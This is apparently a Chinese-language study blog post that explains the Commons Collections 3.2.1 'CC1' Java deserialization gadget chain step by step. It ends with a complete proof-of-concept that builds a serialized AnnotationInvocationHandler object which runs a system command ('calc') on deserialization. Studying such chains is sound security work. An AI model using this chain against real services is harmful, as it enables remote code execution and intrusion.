CC1鏈詳解

林燼發表於2023-02-11

前言:這篇文章是對CC1的總結,個人學習,如有不對請多指教。謝謝!

環境:jdk8u71以下,因為在該jdk版本以上這個漏洞已經被修復了

下載連結:https://www.oracle.com/cn/java/technologies/javase/javase8-archive-downloads.html

maven:https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1 有漏洞的版本是commons-collections3.2.1

sun原始碼:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4 複製到jdk目錄下,這樣便於閱讀jdk原始碼

序列化與反序列化函式

1     public static void serialize(Object obj) throws Exception{
2         ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
3         oos.writeObject(obj);
4     }
5     public static Object unserialize(String Filename) throws Exception{
6         ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
7         Object obj = ois.readObject();
8         return obj;
9     }

首先,我們要知道,反序列化漏洞歸根結底就是需要呼叫到危險函式,然後有些類會重寫readObject方法,那麼如果在呼叫Object方法的時候傳入了具有危險方法的類,那麼就會觸發反序列化漏洞。CC鏈的作者發現在commons-collections下有一個Transformer介面

實現了Transformer介面的類

 

 

主要來看一下一下幾個實現類中對transformer方法的實現:

ChainedTransformer:

    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

可以看到,這個方法會接受一個Object陣列,在呼叫這個方法的時候,會從建構函式接收的iTransformers中的類去呼叫transform方法,直到結束。

ConstantTransformer:

    public Object transform(Object input) {
        return iConstant;
    }

無論該方法接受的物件是什麼型別,最後都會返回的是類初始化時接受的物件型別。

InvokerTransformer:

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

可以看到,在這個類中,transform方法呼叫時,會反射呼叫iMethodName方法,然後執行,而且,方法名稱和引數是我們可以控制的,這就是我們要找的危險函式。

InvokerTransformer的簡單利用

我們知道,在java中要執行命令,需要利用Runtime類,那麼簡單的使用Runtime去執行命令就可以利用以下的寫法:

     Runtime.getRuntime().exec("calc");

反射呼叫的寫法:

        Runtime runtime = Runtime.getRuntime();
        Class c = Runtime.class;
        Method execMethod = c.getMethod("exec",String.class);
        execMethod.invoke(runtime,"calc");

利用InvokerTransformer類的寫法:

        Runtime runtime = Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

 尋找呼叫了transform方法的類

現在我們已經找到了危險方法,也知道了如何去利用該危險方法,那麼我們現在就需要去尋找,還有哪些類同樣呼叫了InvokerTransformer中的transform方法,這樣我們才能加以利用

 

 

 可以看到,以上很多的類都呼叫了transform方法,但是我們需要找到的是不同名類但是呼叫了同名方法的地方,所以很多同名函式都是不可加以利用的,為了簡單起見,我們選擇TransformedMap這個類。因為這個類中好幾處都呼叫了transform方法。

TransformedMap的建構函式:

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

因為這個建構函式是protected修飾的,所以只能在類內被呼叫,但是,我們發現這個方法被類中的一個public方法decorate呼叫了,那麼我們就可以透過該方法給他傳值,然後再去想辦法呼叫transform方法,從而實現利用

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

具體構造程式碼如下:

        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<Object, Object>();
        TransformedMap.decorate(map,null,invokerTransformer);

但是,我們會發現,在TransformedMap中,只有checkSetValue中會使value值去呼叫transform方法,但是這個方法又是protected修飾的,那麼我們就需要去看一下有沒有別的地方呼叫了這個方法。可以發現,在MapEnter的setValue中呼叫了這個方法

 

 

 

 我們知道,MapEnter是在Map遍歷的時候使用的,實際上這個方法就是重寫了entry中的setValue方法,那麼我們只要遍歷被修飾過的Map,就會走到這個方法中,所以利用程式碼如下:

        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<Object, Object>();
        map.put("kay","value");
        Map<Object,Object> transformedMap  = TransformedMap.decorate(map,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(runtime);
        }

那麼我們現在要去尋找,是否存在某個類,在readObject時呼叫了setValue方法,可以發現在AnnotationInvocationHandler的readObject中呼叫了該方法。

我們可以看一下,這個類的建構函式,可以看到,建構函式的第二個引數傳入的是一個map型別,使我們可控的,所以我們可以利用這個類的readObject方法來實現利用

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

因為這個類的建構函式是default修飾的,所以我們只能透過反射的方法來構造,然後進行序列化和反序列化就可以了。

        InvokerTransformer invokerTransformer =  new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> map = new HashMap<Object, Object>();
        map.put("kay","value");
        Map<Object,Object> transformedMap  = TransformedMap.decorate(map,null,invokerTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        //第一個引數繼承了註解,我們先用override嘗試
        Object o = constructor.newInstance(override.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");

存在的問題

透過以上的程式碼實際上並不能實現利用,因為還存在以下的問題:

1.setValue方法中的值,是方法自動生成的,我們無法控制

2.Runtime物件無法序列化

3.setValue中的if判斷需要滿足

如何解決?

1.Runtime物件無法序列化的解決辦法

我們知道Class是可以被序列化的,但是Runtime.class是可以被序列化的,那麼我可以透過反射來獲取

        Class c = Runtime.class;
        Method getRuntimeMethod = c.getMethod("getRuntime");
        Runtime runtime = (Runtime) getRuntimeMethod.invoke(null,null);
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(runtime,"calc");

修改成invokeTransformer版本

        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",
                new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null})
                .transform(Runtime.class);
        Runtime runtime = (Runtime)new InvokerTransformer("invoke",
                new Class[]{Object.class,Object[].class},new Object[]{null,null})
                .transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

可以發現,實際上後一個的返回值會作為前一個的transform的引數,那麼就可以去使用之前提到的ChainedTransformer

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(Runtime.class);

然後利用之前的程式碼進行呼叫

        Transformer[] transformers = new Transformer[]{
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> map = new HashMap<Object, Object>();
        map.put("kay","value");
        Map<Object,Object> transformedMap  = TransformedMap.decorate(map,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        //第一個引數繼承了註解,我們先用override嘗試
        Object o = constructor.newInstance("override",transformedMap);
        serialize(o);
        unserialize("ser.bin");

但是發現還有執行不了,現在來解決剩下的兩個問題

2.setValue中的if判斷需要滿足

 

 可以看到,type的值是從傳入的type型別獲取的,但是override中不存在任何的值,但是target中存在,所以我們可以利用target來替代,而且因為target中的值為value,所以我們要修改map中的值為value

        Object o = constructor.newInstance(Target.class,transformedMap);
        map.put("value","value");

3.setValue方法中的值,是方法自動生成的,我們無法控制

上面提到過ConstantTransformer會一直返回初始化的Transformer,那麼我們就可以利用他來避免readObject中的修改。

所以完整poc如下:

 1         Transformer[] transformers = new Transformer[]{
 2                 //避免被readObject修改
 3                 new ConstantTransformer(Runtime.class),
 4                 new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
 5                 new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 6                 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
 7         };
 8         ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 9         HashMap<Object,Object> map = new HashMap<Object, Object>();
10         map.put("value","value");
11         Map<Object,Object> transformedMap  = TransformedMap.decorate(map,null,chainedTransformer);
12         Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
13         Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
14         constructor.setAccessible(true);
15         //第一個引數繼承了註解,我們先用override嘗試
16         Object o = constructor.newInstance(Target.class,transformedMap);
17         serialize(o);
18         unserialize("ser.bin");

 

相關文章